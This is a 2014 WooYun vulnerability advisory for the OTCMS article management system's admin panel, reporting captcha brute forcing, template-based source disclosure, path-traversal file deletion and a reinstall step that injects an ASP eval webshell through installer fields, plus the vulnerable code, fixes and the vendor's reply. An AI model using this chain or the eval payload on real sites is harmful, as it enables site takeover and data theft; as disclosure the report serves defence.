当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-057589

漏洞标题:网钛文章管理系统后台多出漏洞可拿shell

相关厂商:otcms.com

漏洞作者: seraph1984

提交时间:2014-04-18 21:32

修复时间:2014-07-17 21:33

公开时间:2014-07-17 21:33

漏洞类型:文件上传导致任意代码执行

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-18: 细节已通知厂商并且等待厂商处理中
2014-04-19: 厂商已经确认,细节仅向厂商公开
2014-04-22: 细节向第三方安全合作伙伴开放
2014-06-13: 细节向核心白帽子及相关领域专家公开
2014-06-23: 细节向普通白帽子公开
2014-07-03: 细节向实习白帽子公开
2014-07-17: 细节向公众公开

简要描述:

网钛文章管理系统 V2.83 build 20140411,利用后台删除文件功能,删除安装锁,重新安装得到shell
一共发现四个漏洞

详细说明:

漏洞1:后台验证码提交后不刷新
利用:直接找到帐号,后台burp可以强破密码
漏洞2:后台文件泄露漏洞
利用:后台皮肤管理处修改一个模板样式文件为存在的asp为件如

QQ图片20140418154039.jpg


修改后更新,
查看skin目录下的css
http://localhost/skin/def_black/style7.css
可以看到config.asp的源码了

QQ图片20140418154349.jpg


漏洞3:后台任意文件删除
利用方法,删除安装锁文件,配合install没有删除的情况下可以getshell
后台在删除文章时会同时删除文件内的附件和图片
指定文件时,利用跳转目录的方法可以指定任意文件
比较注意的是文件名前面加coll/../再跳,这个是程序特别设定的
还有删除的时候要选择,再批量删除,不能对单个点删除

QQ图片20140418154751.jpg


漏洞4:安装文件getshell
利用:漏洞3删除掉安装锁后,可以二次安装,安装时
数据库名 ":eval request("#"):a="1.mdb
目录名 ":eval request("#"):a="1
备份名 ":eval request("#"):a="2
说实在的这个漏洞产生的很有意思,贴个代码看看

isDatabaseName	= File_RevName(dbPathPart & dbName,accName)
If isDatabaseName=False Then
alertNum = alertNum + 1
alertStr = alertStr & alertNum &"、网站数据库名称重命名(新名称:"& accName &")失败;<br />"
webDbName = Split(dbName,"/")(1)
Else
isDatabaseDir = File_RevDirName(dbPathPart & dbNameArr(0),accDir)
If isDatabaseDir=False Then
alertNum = alertNum + 1
alertStr = alertStr & alertNum &"、数据库目录名重命名(新名称:"& accDir &")失败;<br />"
accDir = Split(dbName,"/")(0)
End If

End If
isBackupDir = File_RevDirName(dbPathPart & dbBackupDir,accBackupDir)
If isBackupDir=False Then
alertNum = alertNum + 1
alertStr = alertStr & alertNum &"、数据库备份目录名重命名(新名称:"& accBackupDir &")失败;<br />"
webBackupDir = dbBackupDir
End If
configContent = File_Read(server.mapPath("config2.4.OTtpl"))
configContent = Replace(configContent,"{%SiteID%}",webSiteID)
configContent = Replace(configContent,"{%DbDir%}",accDir)
configContent = Replace(configContent,"{%BackupDir%}",webBackupDir)
configContent = Replace(configContent,"{%DbName%}",webDbName)
configContent = Replace(configContent,"{%SiteID%}",webSiteID)


这里面的逻辑有问题啊,本来他原来的意思是如果重命名失败,就还是原本的内容
但是他这里面的accdir这个参数,一定要数据库改名正确了才会检测,就是利用accdir这个参数不被覆盖才得到的shell
文件写到config.asp但不能访问
要访问/users.asp 为shell
搞了一个晚上才弄出来的,就为了一个邀请码,求通过啊

漏洞证明:

1

修复方案:

漏洞1 登录失败后验证码清空
漏洞2 模板样式文件提交的时候过滤,只留下[a-zA-Z0-9\.]
漏洞3 同样的,过滤字符..\
漏洞4 逻辑错误 ,文件名改失败的时候 accir用原来的复盖

版权声明:转载请注明来源 seraph1984@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-04-19 15:55

厂商回复:

感谢 seraph1984 发些这些漏洞,并通过乌云平台及时通知我们修复。为表感谢,麻烦seraph1984联系我们网钛,我们网钛将送个小礼物给你。

最新状态:

2014-08-16:该漏洞已于网钛CMS V5.00版本修复了。